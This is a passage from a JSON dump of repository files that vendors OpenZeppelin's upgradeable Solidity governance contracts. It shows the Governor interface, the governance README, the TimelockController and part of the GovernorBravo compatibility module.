*/\n    function votingDelay() public view virtual returns (uint256);\n\n    /**\n     * @notice module:user-config\n     * @dev Delay, in number of blocks, between the vote start and vote ends.\n     *\n     * NOTE: The {votingDelay} can delay the start of the vote. This must be considered when setting the voting\n     * duration compared to the voting delay.\n     */\n    function votingPeriod() public view virtual returns (uint256);\n\n    /**\n     * @notice module:user-config\n     * @dev Minimum number of cast voted required for a proposal to be successful.\n     *\n     * Note: The `blockNumber` parameter corresponds to the snaphot used for counting vote. This allows to scale the\n     * quroum depending on values such as the totalSupply of a token at this block (see {ERC20Votes}).\n     */\n    function quorum(uint256 blockNumber) public view virtual returns (uint256);\n\n    /**\n     * @notice module:reputation\n     * @dev Voting power of an `account` at a specific `blockNumber`.\n     *\n     * Note: this can be implemented in a number of ways, for example by reading the delegated balance from one (or\n     * multiple), {ERC20Votes} tokens.\n     */\n    function getVotes(address account, uint256 blockNumber) public view virtual returns (uint256);\n\n    /**\n     * @notice module:voting\n     * @dev Returns weither `account` has cast a vote on `proposalId`.\n     */\n    function hasVoted(uint256 proposalId, address account) public view virtual returns (bool);\n\n    /**\n     * @dev Create a new proposal. Vote start {IGovernor-votingDelay} blocks after the proposal is created and ends\n     * {IGovernor-votingPeriod} blocks after the voting starts.\n     *\n     * Emits a {ProposalCreated} event.\n     */\n    function propose(\n        address[] memory targets,\n        uint256[] memory values,\n        bytes[] memory calldatas,\n        string memory description\n    ) public virtual returns (uint256 proposalId);\n\n    /**\n     * @dev Execute a successful proposal. This requires the quorum to be reached, the vote to be successful, and the\n     * deadline to be reached.\n     *\n     * Emits a {ProposalExecuted} event.\n     *\n     * Note: some module can modify the requirements for execution, for example by adding an additional timelock.\n     */\n    function execute(\n        address[] memory targets,\n        uint256[] memory values,\n        bytes[] memory calldatas,\n        bytes32 descriptionHash\n    ) public payable virtual returns (uint256 proposalId);\n\n    /**\n     * @dev Cast a vote\n     *\n     * Emits a {VoteCast} event.\n     */\n    function castVote(uint256 proposalId, uint8 support) public virtual returns (uint256 balance);\n\n    /**\n     * @dev Cast a with a reason\n     *\n     * Emits a {VoteCast} event.\n     */\n    function castVoteWithReason(\n        uint256 proposalId,\n        uint8 support,\n        string calldata reason\n    ) public virtual returns (uint256 balance);\n\n    /**\n     * @dev Cast a vote using the user cryptographic signature.\n     *\n     * Emits a {VoteCast} event.\n     */\n    function castVoteBySig(\n        uint256 proposalId,\n        uint8 support,\n        uint8 v,\n        bytes32 r,\n        bytes32 s\n    ) public virtual returns (uint256 balance);\n    uint256[50] private __gap;\n}\n"
  },
  {
    "path": "2022/submissions_2022/submission11_DanielVonFange/lib/openzeppelin-contracts-upgradeable/contracts/governance/README.adoc",
    "content": "= Governance\n\n[.readme-notice]\nNOTE: This document is better viewed at https://docs.openzeppelin.com/contracts/api/governance\n\nThis directory includes primitives for on-chain governance.\n\n== Governor\n\nThis modular system of Governor contracts allows the deployment on-chain voting protocols similar to https://compound.finance/docs/governance[Compound's Governor Alpha & Bravo] and beyond, through the ability to easily customize multiple aspects of the protocol.\n\n[TIP]\n====\nFor a guided experience, set up your Governor contract using https://wizard.openzeppelin.com/#governor[Contracts Wizard].\n\nFor a written walkthrough, check out our guide on xref:ROOT:governance.adoc[How to set up on-chain governance].\n====\n\n* {Governor}: The core contract that contains all the logic and primitives. It is abstract and requires choosing one of each of the modules below, or custom ones.\n\nVotes modules determine the source of voting power, and sometimes quorum number.\n\n* {GovernorVotes}: Extracts voting weight from an {ERC20Votes} token.\n\n* {GovernorVotesComp}: Extracts voting weight from a COMP-like or {ERC20VotesComp} token.\n\n* {GovernorVotesQuorumFraction}: Combines with `GovernorVotes` to set the quorum as a fraction of the total token supply.\n\nCounting modules determine valid voting options.\n\n* {GovernorCountingSimple}: Simple voting mechanism with 3 voting options: Against, For and Abstain.\n\nTimelock extensions add a delay for governance decisions to be executed. The workflow is extended to require a `queue` step before execution. With these modules, proposals are executed by the external timelock contract, thus it is the timelock that has to hold the assets that are being governed.\n\n* {GovernorTimelockControl}: Connects with an instance of {TimelockController}. Allows multiple proposers and executors, in addition to the Governor itself.\n\n* {GovernorTimelockCompound}: Connects with an instance of Compound's https://github.com/compound-finance/compound-protocol/blob/master/contracts/Timelock.sol[`Timelock`] contract.\n\nOther extensions can customize the behavior or interface in multiple ways.\n\n* {GovernorCompatibilityBravo}: Extends the interface to be fully `GovernorBravo`-compatible. Note that events are compatible regardless of whether this extension is included or not.\n\n* {GovernorSettings}: Manages some of the settings (voting delay, voting period duration, and proposal threshold) in a way that can be updated through a governance proposal, without requiering an upgrade.\n\nIn addition to modules and extensions, the core contract requires a few virtual functions to be implemented to your particular specifications:\n\n* <<Governor-votingDelay-,`votingDelay()`>>: Delay (in number of blocks) since the proposal is submitted until voting power is fixed and voting starts. This can be used to enforce a delay after a proposal is published for users to buy tokens, or delegate their votes.\n* <<Governor-votingPeriod-,`votingPeriod()`>>: Delay (in number of blocks) since the proposal starts until voting ends.\n* <<Governor-quorum-uint256-,`quorum(uint256 blockNumber)`>>: Quorum required for a proposal to be successful. This function includes a `blockNumber` argument so the quorum can adapt through time, for example, to follow a token's `totalSupply`.\n\nNOTE: Functions of the `Governor` contract do not include access control. If you want to restrict access, you should add these checks by overloading the particular functions. Among these, {Governor-_cancel} is internal by default, and you will have to expose it (which the right access control mechanism) yourself if this function is needed.\n\n=== Core\n\n{{IGovernor}}\n\n{{Governor}}\n\n=== Modules\n\n{{GovernorCountingSimple}}\n\n{{GovernorVotes}}\n\n{{GovernorVotesQuorumFraction}}\n\n{{GovernorVotesComp}}\n\n=== Extensions\n\n{{GovernorTimelockControl}}\n\n{{GovernorTimelockCompound}}\n\n{{GovernorSettings}}\n\n{{GovernorCompatibilityBravo}}\n\n=== Deprecated\n\n{{GovernorProposalThreshold}}\n\n== Timelock\n\nIn a governance system, the {TimelockController} contract is in charge of introducing a delay between a proposal and its execution. It can be used with or without a {Governor}.\n\n{{TimelockController}}\n\n[[timelock-terminology]]\n==== Terminology\n\n* *Operation:* A transaction (or a set of transactions) that is the subject of the timelock. It has to be scheduled by a proposer and executed by an executor. The timelock enforces a minimum delay between the proposition and the execution (see xref:access-control.adoc#operation_lifecycle[operation lifecycle]). If the operation contains multiple transactions (batch mode), they are executed atomically. Operations are identified by the hash of their content.\n* *Operation status:*\n** *Unset:* An operation that is not part of the timelock mechanism.\n** *Pending:* An operation that has been scheduled, before the timer expires.\n** *Ready:* An operation that has been scheduled, after the timer expires.\n** *Done:* An operation that has been executed.\n* *Predecessor*: An (optional) dependency between operations. An operation can depend on another operation (its predecessor), forcing the execution order of these two operations.\n* *Role*:\n** *Admin:* An address (smart contract or EOA) that is in charge of granting the roles of Proposer and Executor.\n** *Proposer:* An address (smart contract or EOA) that is in charge of scheduling (and cancelling) operations.\n** *Executor:* An address (smart contract or EOA) that is in charge of executing operations once the timelock has expired. This role can be given to the zero address to allow anyone to execute operations.\n\n[[timelock-operation]]\n==== Operation structure\n\nOperation executed by the xref:api:governance.adoc#TimelockController[`TimelockController`] can contain one or multiple subsequent calls. Depending on whether you need to multiple calls to be executed atomically, you can either use simple or batched operations.\n\nBoth operations contain:\n\n* *Target*, the address of the smart contract that the timelock should operate on.\n* *Value*, in wei, that should be sent with the transaction. Most of the time this will be 0. Ether can be deposited before-end or passed along when executing the transaction.\n* *Data*, containing the encoded function selector and parameters of the call. This can be produced using a number of tools. For example, a maintenance operation granting role `ROLE` to `ACCOUNT` can be encode using web3js as follows:\n\n```javascript\nconst data = timelock.contract.methods.grantRole(ROLE, ACCOUNT).encodeABI()\n```\n\n* *Predecessor*, that specifies a dependency between operations. This dependency is optional. Use `bytes32(0)` if the operation does not have any dependency.\n* *Salt*, used to disambiguate two otherwise identical operations. This can be any random value.\n\nIn the case of batched operations, `target`, `value` and `data` are specified as arrays, which must be of the same length.\n\n[[timelock-operation-lifecycle]]\n==== Operation lifecycle\n\nTimelocked operations are identified by a unique id (their hash) and follow a specific lifecycle:\n\n`Unset` -> `Pending` -> `Pending` + `Ready` -> `Done`\n\n* By calling xref:api:governance.adoc#TimelockController-schedule-address-uint256-bytes-bytes32-bytes32-uint256-[`schedule`] (or xref:api:governance.adoc#TimelockController-scheduleBatch-address---uint256---bytes---bytes32-bytes32-uint256-[`scheduleBatch`]), a proposer moves the operation from the `Unset` to the `Pending` state. This starts a timer that must be longer than the minimum delay. The timer expires at a timestamp accessible through the xref:api:governance.adoc#TimelockController-getTimestamp-bytes32-[`getTimestamp`] method.\n* Once the timer expires, the operation automatically gets the `Ready` state. At this point, it can be executed.\n* By calling xref:api:governance.adoc#TimelockController-TimelockController-execute-address-uint256-bytes-bytes32-bytes32-[`execute`] (or xref:api:governance.adoc#TimelockController-executeBatch-address---uint256---bytes---bytes32-bytes32-[`executeBatch`]), an executor triggers the operation's underlying transactions and moves it to the `Done` state. If the operation has a predecessor, it has to be in the `Done` state for this transition to succeed.\n* xref:api:governance.adoc#TimelockController-TimelockController-cancel-bytes32-[`cancel`] allows proposers to cancel any `Pending` operation. This resets the operation to the `Unset` state. It is thus possible for a proposer to re-schedule an operation that has been cancelled. In this case, the timer restarts when the operation is re-scheduled.\n\nOperations status can be queried using the functions:\n\n* xref:api:governance.adoc#TimelockController-isOperationPending-bytes32-[`isOperationPending(bytes32)`]\n* xref:api:governance.adoc#TimelockController-isOperationReady-bytes32-[`isOperationReady(bytes32)`]\n* xref:api:governance.adoc#TimelockController-isOperationDone-bytes32-[`isOperationDone(bytes32)`]\n\n[[timelock-roles]]\n==== Roles\n\n[[timelock-admin]]\n===== Admin\n\nThe admins are in charge of managing proposers and executors. For the timelock to be self-governed, this role should only be given to the timelock itself. Upon deployment, both the timelock and the deployer have this role. After further configuration and testing, the deployer can renounce this role such that all further maintenance operations have to go through the timelock process.\n\nThis role is identified by the *TIMELOCK_ADMIN_ROLE* value: `0x5f58e3a2316349923ce3780f8d587db2d72378aed66a8261c916544fa6846ca5`\n\n[[timelock-proposer]]\n===== Proposer\n\nThe proposers are in charge of scheduling (and cancelling) operations. This is a critical role, that should be given to governing entities. This could be an EOA, a multisig, or a DAO.\n\nWARNING: *Proposer fight:* Having multiple proposers, while providing redundancy in case one becomes unavailable, can be dangerous. As proposer have their say on all operations, they could cancel operations they disagree with, including operations to remove them for the proposers.\n\nThis role is identified by the *PROPOSER_ROLE* value: `0xb09aa5aeb3702cfd50b6b62bc4532604938f21248a27a1d5ca736082b6819cc1`\n\n[[timelock-executor]]\n===== Executor\n\nThe executors are in charge of executing the operations scheduled by the proposers once the timelock expires. Logic dictates that multisig or DAO that are proposers should also be executors in order to guarantee operations that have been scheduled will eventually be executed. However, having additional executors can reduce the cost (the executing transaction does not require validation by the multisig or DAO that proposed it), while ensuring whoever is in charge of execution cannot trigger actions that have not been scheduled by the proposers. Alternatively, it is possible to allow _any_ address to execute a proposal once the timelock has expired by granting the executor role to the zero address.\n\nThis role is identified by the *EXECUTOR_ROLE* value: `0xd8aa0f3194971a2a116679f7c2090f6939c8d4e01a2a8d7e41d55e5351469e63`\n\nWARNING: A live contract without at least one proposer and one executor is locked. Make sure these roles are filled by reliable entities before the deployer renounces its administrative rights in favour of the timelock contract itself. See the {AccessControl} documentation to learn more about role management.\n"
  },
  {
    "path": "2022/submissions_2022/submission11_DanielVonFange/lib/openzeppelin-contracts-upgradeable/contracts/governance/TimelockControllerUpgradeable.sol",
    "content": "// SPDX-License-Identifier: MIT\n// OpenZeppelin Contracts v4.4.1 (governance/TimelockController.sol)\n\npragma solidity ^0.8.0;\n\nimport \"../access/AccessControlUpgradeable.sol\";\nimport \"../proxy/utils/Initializable.sol\";\n\n/**\n * @dev Contract module which acts as a timelocked controller. When set as the\n * owner of an `Ownable` smart contract, it enforces a timelock on all\n * `onlyOwner` maintenance operations. This gives time for users of the\n * controlled contract to exit before a potentially dangerous maintenance\n * operation is applied.\n *\n * By default, this contract is self administered, meaning administration tasks\n * have to go through the timelock process. The proposer (resp executor) role\n * is in charge of proposing (resp executing) operations. A common use case is\n * to position this {TimelockController} as the owner of a smart contract, with\n * a multisig or a DAO as the sole proposer.\n *\n * _Available since v3.3._\n */\ncontract TimelockControllerUpgradeable is Initializable, AccessControlUpgradeable {\n    bytes32 public constant TIMELOCK_ADMIN_ROLE = keccak256(\"TIMELOCK_ADMIN_ROLE\");\n    bytes32 public constant PROPOSER_ROLE = keccak256(\"PROPOSER_ROLE\");\n    bytes32 public constant EXECUTOR_ROLE = keccak256(\"EXECUTOR_ROLE\");\n    uint256 internal constant _DONE_TIMESTAMP = uint256(1);\n\n    mapping(bytes32 => uint256) private _timestamps;\n    uint256 private _minDelay;\n\n    /**\n     * @dev Emitted when a call is scheduled as part of operation `id`.\n     */\n    event CallScheduled(\n        bytes32 indexed id,\n        uint256 indexed index,\n        address target,\n        uint256 value,\n        bytes data,\n        bytes32 predecessor,\n        uint256 delay\n    );\n\n    /**\n     * @dev Emitted when a call is performed as part of operation `id`.\n     */\n    event CallExecuted(bytes32 indexed id, uint256 indexed index, address target, uint256 value, bytes data);\n\n    /**\n     * @dev Emitted when operation `id` is cancelled.\n     */\n    event Cancelled(bytes32 indexed id);\n\n    /**\n     * @dev Emitted when the minimum delay for future operations is modified.\n     */\n    event MinDelayChange(uint256 oldDuration, uint256 newDuration);\n\n    /**\n     * @dev Initializes the contract with a given `minDelay`.\n     */\n    function __TimelockController_init(\n        uint256 minDelay,\n        address[] memory proposers,\n        address[] memory executors\n    ) internal onlyInitializing {\n        __Context_init_unchained();\n        __ERC165_init_unchained();\n        __AccessControl_init_unchained();\n        __TimelockController_init_unchained(minDelay, proposers, executors);\n    }\n\n    function __TimelockController_init_unchained(\n        uint256 minDelay,\n        address[] memory proposers,\n        address[] memory executors\n    ) internal onlyInitializing {\n        _setRoleAdmin(TIMELOCK_ADMIN_ROLE, TIMELOCK_ADMIN_ROLE);\n        _setRoleAdmin(PROPOSER_ROLE, TIMELOCK_ADMIN_ROLE);\n        _setRoleAdmin(EXECUTOR_ROLE, TIMELOCK_ADMIN_ROLE);\n\n        // deployer + self administration\n        _setupRole(TIMELOCK_ADMIN_ROLE, _msgSender());\n        _setupRole(TIMELOCK_ADMIN_ROLE, address(this));\n\n        // register proposers\n        for (uint256 i = 0; i < proposers.length; ++i) {\n            _setupRole(PROPOSER_ROLE, proposers[i]);\n        }\n\n        // register executors\n        for (uint256 i = 0; i < executors.length; ++i) {\n            _setupRole(EXECUTOR_ROLE, executors[i]);\n        }\n\n        _minDelay = minDelay;\n        emit MinDelayChange(0, minDelay);\n    }\n\n    /**\n     * @dev Modifier to make a function callable only by a certain role. In\n     * addition to checking the sender's role, `address(0)` 's role is also\n     * considered. Granting a role to `address(0)` is equivalent to enabling\n     * this role for everyone.\n     */\n    modifier onlyRoleOrOpenRole(bytes32 role) {\n        if (!hasRole(role, address(0))) {\n            _checkRole(role, _msgSender());\n        }\n        _;\n    }\n\n    /**\n     * @dev Contract might receive/hold ETH as part of the maintenance process.\n     */\n    receive() external payable {}\n\n    /**\n     * @dev Returns whether an id correspond to a registered operation. This\n     * includes both Pending, Ready and Done operations.\n     */\n    function isOperation(bytes32 id) public view virtual returns (bool pending) {\n        return getTimestamp(id) > 0;\n    }\n\n    /**\n     * @dev Returns whether an operation is pending or not.\n     */\n    function isOperationPending(bytes32 id) public view virtual returns (bool pending) {\n        return getTimestamp(id) > _DONE_TIMESTAMP;\n    }\n\n    /**\n     * @dev Returns whether an operation is ready or not.\n     */\n    function isOperationReady(bytes32 id) public view virtual returns (bool ready) {\n        uint256 timestamp = getTimestamp(id);\n        return timestamp > _DONE_TIMESTAMP && timestamp <= block.timestamp;\n    }\n\n    /**\n     * @dev Returns whether an operation is done or not.\n     */\n    function isOperationDone(bytes32 id) public view virtual returns (bool done) {\n        return getTimestamp(id) == _DONE_TIMESTAMP;\n    }\n\n    /**\n     * @dev Returns the timestamp at with an operation becomes ready (0 for\n     * unset operations, 1 for done operations).\n     */\n    function getTimestamp(bytes32 id) public view virtual returns (uint256 timestamp) {\n        return _timestamps[id];\n    }\n\n    /**\n     * @dev Returns the minimum delay for an operation to become valid.\n     *\n     * This value can be changed by executing an operation that calls `updateDelay`.\n     */\n    function getMinDelay() public view virtual returns (uint256 duration) {\n        return _minDelay;\n    }\n\n    /**\n     * @dev Returns the identifier of an operation containing a single\n     * transaction.\n     */\n    function hashOperation(\n        address target,\n        uint256 value,\n        bytes calldata data,\n        bytes32 predecessor,\n        bytes32 salt\n    ) public pure virtual returns (bytes32 hash) {\n        return keccak256(abi.encode(target, value, data, predecessor, salt));\n    }\n\n    /**\n     * @dev Returns the identifier of an operation containing a batch of\n     * transactions.\n     */\n    function hashOperationBatch(\n        address[] calldata targets,\n        uint256[] calldata values,\n        bytes[] calldata datas,\n        bytes32 predecessor,\n        bytes32 salt\n    ) public pure virtual returns (bytes32 hash) {\n        return keccak256(abi.encode(targets, values, datas, predecessor, salt));\n    }\n\n    /**\n     * @dev Schedule an operation containing a single transaction.\n     *\n     * Emits a {CallScheduled} event.\n     *\n     * Requirements:\n     *\n     * - the caller must have the 'proposer' role.\n     */\n    function schedule(\n        address target,\n        uint256 value,\n        bytes calldata data,\n        bytes32 predecessor,\n        bytes32 salt,\n        uint256 delay\n    ) public virtual onlyRole(PROPOSER_ROLE) {\n        bytes32 id = hashOperation(target, value, data, predecessor, salt);\n        _schedule(id, delay);\n        emit CallScheduled(id, 0, target, value, data, predecessor, delay);\n    }\n\n    /**\n     * @dev Schedule an operation containing a batch of transactions.\n     *\n     * Emits one {CallScheduled} event per transaction in the batch.\n     *\n     * Requirements:\n     *\n     * - the caller must have the 'proposer' role.\n     */\n    function scheduleBatch(\n        address[] calldata targets,\n        uint256[] calldata values,\n        bytes[] calldata datas,\n        bytes32 predecessor,\n        bytes32 salt,\n        uint256 delay\n    ) public virtual onlyRole(PROPOSER_ROLE) {\n        require(targets.length == values.length, \"TimelockController: length mismatch\");\n        require(targets.length == datas.length, \"TimelockController: length mismatch\");\n\n        bytes32 id = hashOperationBatch(targets, values, datas, predecessor, salt);\n        _schedule(id, delay);\n        for (uint256 i = 0; i < targets.length; ++i) {\n            emit CallScheduled(id, i, targets[i], values[i], datas[i], predecessor, delay);\n        }\n    }\n\n    /**\n     * @dev Schedule an operation that is to becomes valid after a given delay.\n     */\n    function _schedule(bytes32 id, uint256 delay) private {\n        require(!isOperation(id), \"TimelockController: operation already scheduled\");\n        require(delay >= getMinDelay(), \"TimelockController: insufficient delay\");\n        _timestamps[id] = block.timestamp + delay;\n    }\n\n    /**\n     * @dev Cancel an operation.\n     *\n     * Requirements:\n     *\n     * - the caller must have the 'proposer' role.\n     */\n    function cancel(bytes32 id) public virtual onlyRole(PROPOSER_ROLE) {\n        require(isOperationPending(id), \"TimelockController: operation cannot be cancelled\");\n        delete _timestamps[id];\n\n        emit Cancelled(id);\n    }\n\n    /**\n     * @dev Execute an (ready) operation containing a single transaction.\n     *\n     * Emits a {CallExecuted} event.\n     *\n     * Requirements:\n     *\n     * - the caller must have the 'executor' role.\n     */\n    function execute(\n        address target,\n        uint256 value,\n        bytes calldata data,\n        bytes32 predecessor,\n        bytes32 salt\n    ) public payable virtual onlyRoleOrOpenRole(EXECUTOR_ROLE) {\n        bytes32 id = hashOperation(target, value, data, predecessor, salt);\n        _beforeCall(id, predecessor);\n        _call(id, 0, target, value, data);\n        _afterCall(id);\n    }\n\n    /**\n     * @dev Execute an (ready) operation containing a batch of transactions.\n     *\n     * Emits one {CallExecuted} event per transaction in the batch.\n     *\n     * Requirements:\n     *\n     * - the caller must have the 'executor' role.\n     */\n    function executeBatch(\n        address[] calldata targets,\n        uint256[] calldata values,\n        bytes[] calldata datas,\n        bytes32 predecessor,\n        bytes32 salt\n    ) public payable virtual onlyRoleOrOpenRole(EXECUTOR_ROLE) {\n        require(targets.length == values.length, \"TimelockController: length mismatch\");\n        require(targets.length == datas.length, \"TimelockController: length mismatch\");\n\n        bytes32 id = hashOperationBatch(targets, values, datas, predecessor, salt);\n        _beforeCall(id, predecessor);\n        for (uint256 i = 0; i < targets.length; ++i) {\n            _call(id, i, targets[i], values[i], datas[i]);\n        }\n        _afterCall(id);\n    }\n\n    /**\n     * @dev Checks before execution of an operation's calls.\n     */\n    function _beforeCall(bytes32 id, bytes32 predecessor) private view {\n        require(isOperationReady(id), \"TimelockController: operation is not ready\");\n        require(predecessor == bytes32(0) || isOperationDone(predecessor), \"TimelockController: missing dependency\");\n    }\n\n    /**\n     * @dev Checks after execution of an operation's calls.\n     */\n    function _afterCall(bytes32 id) private {\n        require(isOperationReady(id), \"TimelockController: operation is not ready\");\n        _timestamps[id] = _DONE_TIMESTAMP;\n    }\n\n    /**\n     * @dev Execute an operation's call.\n     *\n     * Emits a {CallExecuted} event.\n     */\n    function _call(\n        bytes32 id,\n        uint256 index,\n        address target,\n        uint256 value,\n        bytes calldata data\n    ) private {\n        (bool success, ) = target.call{value: value}(data);\n        require(success, \"TimelockController: underlying transaction reverted\");\n\n        emit CallExecuted(id, index, target, value, data);\n    }\n\n    /**\n     * @dev Changes the minimum timelock duration for future operations.\n     *\n     * Emits a {MinDelayChange} event.\n     *\n     * Requirements:\n     *\n     * - the caller must be the timelock itself. This can only be achieved by scheduling and later executing\n     * an operation where the timelock is the target and the data is the ABI-encoded call to this function.\n     */\n    function updateDelay(uint256 newDelay) external virtual {\n        require(msg.sender == address(this), \"TimelockController: caller must be timelock\");\n        emit MinDelayChange(_minDelay, newDelay);\n        _minDelay = newDelay;\n    }\n    uint256[48] private __gap;\n}\n"
  },
  {
    "path": "2022/submissions_2022/submission11_DanielVonFange/lib/openzeppelin-contracts-upgradeable/contracts/governance/compatibility/GovernorCompatibilityBravoUpgradeable.sol",
    "content": "// SPDX-License-Identifier: MIT\n// OpenZeppelin Contracts (last updated v4.4.2) (governance/compatibility/GovernorCompatibilityBravo.sol)\n\npragma solidity ^0.8.0;\n\nimport \"../../utils/CountersUpgradeable.sol\";\nimport \"../../utils/math/SafeCastUpgradeable.sol\";\nimport \"../extensions/IGovernorTimelockUpgradeable.sol\";\nimport \"../GovernorUpgradeable.sol\";\nimport \"./IGovernorCompatibilityBravoUpgradeable.sol\";\nimport \"../../proxy/utils/Initializable.sol\";\n\n/**\n * @dev Compatibility layer that implements GovernorBravo compatibility on to of {Governor}.\n *\n * This compatibility layer includes a voting system and requires a {IGovernorTimelock} compatible module to be added\n * through inheritance. It does not include token bindings, not does it include any variable upgrade patterns.\n *\n * NOTE: When using this module, you may need to enable the Solidity optimizer to avoid hitting the contract size limit.\n *\n * _Available since v4.3._\n */\nabstract contract GovernorCompatibilityBravoUpgradeable is Initializable, IGovernorTimelockUpgradeable, IGovernorCompatibilityBravoUpgradeable, GovernorUpgradeable {\n    function __GovernorCompatibilityBravo_init() internal onlyInitializing {\n        __Context_init_unchained();\n        __ERC165_init_unchained();\n        __IGovernor_init_unchained();\n        __IGovernorTimelock_init_unchained();\n        __IGovernorCompatibilityBravo_init_unchained();\n        __GovernorCompatibilityBravo_init_unchained();\n    }\n\n    function __GovernorCompatibilityBravo_init_unchained() internal onlyInitializing {\n    }\n    using CountersUpgradeable for CountersUpgradeable.Counter;\n    using TimersUpgradeable for TimersUpgradeable.BlockNumber;\n\n    enum VoteType {\n        Against,\n        For,\n        Abstain\n    }\n\n    struct ProposalDetails {\n        address proposer;\n        address[] targets;\n        uint256[] values;\n        string[] signatures;\n        bytes[] calldatas;\n        uint256 forVotes;\n        uint256 againstVotes;\n        uint256 abstainVotes;\n        mapping(address => Receipt) receipts;\n        bytes32 descriptionHash;\n    }\n\n    mapping(uint256 => ProposalDetails) private _proposalDetails;\n\n    // solhint-disable-next-line func-name-mixedcase\n    function COUNTING_MODE() public pure virtual override returns (string memory) {\n        return \"support=bravo&quorum=bravo\";\n    }\n\n    // ============================================== Proposal lifecycle ==============================================\n    /**\n     * @dev See {IGovernor-propose}.\n     */\n    function propose(\n        address[] memory targets,\n        uint256[] memory values,\n        bytes[] memory calldatas,\n        string memory description\n    ) public virtual override(IGovernorUpgradeable, GovernorUpgradeable) returns (uint256) {\n        _storeProposal(_msgSender(), targets, values, new string[](calldatas.length), calldatas, description);\n        return super.propose(targets, values, calldatas, description);\n    }\n\n    /**\n     * @dev See {IGovernorCompatibilityBravo-propose}.\n     */\n    function propose(\n        address[] memory targets,\n        uint256[] memory values,\n        string[] memory signatures,\n        bytes[] memory calldatas,\n        string memory description\n    ) public virtual override returns (uint256) {\n        _storeProposal(_msgSender(), targets, values, signatures, calldatas, description);\n        return propose(targets, values, _encodeCalldata(signatures, calldatas), description);\n    }\n\n    /**\n     * @dev See {IGovernorCompatibilityBravo-queue}.\n     */\n    function queue(uint256 proposalId) public virtual override {\n        ProposalDetails storage details = _proposalDetails[proposalId];\n        queue(\n            details.targets,\n            details.values,\n            _encodeCalldata(details.signatures, details.calldatas),\n            details.descriptionHash\n        );\n    }\n\n    /**\n     * @dev See {IGovernorCompatibilityBravo-execute}.\n     */\n    function execute(uint256 proposalId) public payable virtual override {\n        ProposalDetails storage details = _proposalDetails[proposalId];\n        execute(\n            details.targets,\n            details.values,\n            _encodeCalldata(details.signatures, details.calldatas),\n            details.descriptionHash\n        );\n    }\n\n    function cancel(uint256 proposalId) public virtual override {\n        ProposalDetails storage details = _proposalDetails[proposalId];\n\n        require(\n            _msgSender() == details.proposer || getVotes(details.proposer, block.number - 1) < proposalThreshold(),\n            \"GovernorBravo: proposer above threshold\"\n        );\n\n        _cancel(\n            details.targets,\n            details.values,\n            _encodeCalldata(details.signatures, details.calldatas),\n            details.descriptionHash\n        );\n    }\n\n    /**\n     * @dev Encodes calldatas with optional function signature.\n     */\n    function _encodeCalldata(string[] memory signatures, bytes[] memory calldatas)\n        private\n        pure\n        returns (bytes[] memory)\n    {\n        bytes[] memory fullcalldatas = new bytes[](calldatas.length);\n\n        for (uint256 i = 0; i < signatures.length; ++i) {\n            fullcalldatas[i] = bytes(signatures[i]).length == 0\n                ? calldatas[i]\n                : abi.encodePacked(bytes4(keccak256(bytes(signatures[i]))), calldatas[i]);\n        }\n\n        return fullcalldatas;\n    }\n\n    /**\n     * @dev Store proposal metadata for later lookup\n     */\n    function _storeProposal(\n        address proposer,\n        address[] memory targets,\n        uint256[] memory values,\n        string[] memory signatures,\n        bytes[] memory calldatas,\n        string memory description\n    ) private {\n        bytes32 descriptionHash = keccak256(bytes(description));\n        uint256 proposalId = hashProposal(targets, values, _encodeCalldata(signatures, calldatas), descriptionHash);\n\n        ProposalDetails storage details = _proposalDetails[proposalId];\n        if (details.descriptionHash == bytes32(0)) {\n            details.proposer = proposer;\n            details.targets = targets;\n            details.values = values;\n            details.signatures = signatures;\n            details.calldatas = calldatas;\n            details.descriptionHash = descriptionHash;\n        }\n    }\n\n    // ==================================================== Views =====================================================\n    /**\n     * @dev See {IGovernorCompatibilityBravo-proposals}.\n     */\n    function proposals(uint256 proposalId)\n        public\n        view\n        virtual\n        override\n        returns (\n            uint256 id,\n            address proposer,\n            uint256 eta,\n            uint256 startBlock,\n            uint256 endBlock,\n            uint256 forVotes,\n            uint256 againstVotes,\n            uint256 abstainVotes,\n            bool canceled,\n            bool executed\n        )\n    {\n        id = proposalId;\n        eta = proposalEta(proposalId);\n        startBlock = proposalSnapshot(proposalId);\n        endBlock = proposalDeadline(proposalId);\n\n        ProposalDetails storage details = _proposalDetails[proposalId];\n        proposer = details.proposer;\n        forVotes = details.forVotes;\n        againstVotes = details.againstVotes;\n        abstainVotes = details.abstainVotes;\n\n        ProposalState status = state(proposalId);\n        canceled = status == ProposalState.Canceled;\n        executed = status == ProposalState.Executed;\n    }\n\n    /**\n     * @dev See {IGovernorCompatibilityBravo-getActions}.\n     */\n    function getActions(uint256 proposalId)\n        public\n        view\n        virtual\n        override\n        returns (\n            address[] memory targets,\n            uint256[] memory values,\n            string[] memory signatures,\n            bytes[] memory calldatas\n        )\n    {\n        ProposalDetails storage details = _proposalDetails[proposalId];\n        return (details.targets, details.values, details.signatures, details.calldatas);\n    }\n\n    /**\n     * @dev See {IGovernorCompatibilityBravo-getReceipt}.\n     */\n    function getReceipt(uint256 proposalId, address voter) public view virtual override returns (Receipt memory) {\n        return _proposalDetails[proposalId].receipts[voter];\n    }\n\n    /**\n     * @dev See {IGovernorCompatibilityBravo-quorumVotes}.\n     */\n    function quorumVotes() public view virtual override returns (uint256) {\n        return quorum(block.number - 1);\n    }\n\n    // ==================================================== Voting ====================================================\n    /**\n     * @dev See {IGovernor-hasVoted}.\n     */\n    function hasVoted(uint256 proposalId, address account) public view virtual override returns (bool) {\n        return _proposalDetails[proposalId].receipts[account].hasVoted;\n    }\n\n    /**\n     * @dev See {Governor-_quorumReached}. In this module, only forVotes count toward the quorum.\n     */\n    function _quorumReached(uint256 proposalId) internal view virtual override returns (bool) {\n        ProposalDetails storage details = _proposalDetails[proposalId];\n        return quorum(proposalSnapshot(proposalId)) <= details.forVotes;\n    }\n\n    /**\n     * @dev See {Governor-_voteSucceeded}. In this module, the forVotes must be scritly over the againstVotes.\n     */\n    function _voteSucceeded(uint256 proposalId) internal view virtual override returns (bool) {\n        ProposalDetails storage details = _proposalDetails[proposalId];\n        return details.forVotes > details.againstVotes;\n    }\n\n    /**\n     * @dev See {Governor-_countVote}. In this module, the support follows Governor Bravo.\n     */\n    function _countVote(\n        uint256 proposalId,\n        address account,\n        uint8 support,\n        uint256 weight\n    ) internal virtual override {\n        ProposalDetails storage details = _proposalDetails[proposalId];\n        Receipt storage receipt = details.receipts[account];\n\n        require(!receipt.hasVoted, \"GovernorCompatibilityBravo: vote already cast\");\n        receipt.hasVoted = true;\n        receipt.support = support;\n        receipt.votes = SafeCastUpgradeable.toUint96(weight);\n\n        if (support == uint8(VoteType.Against)) {\n     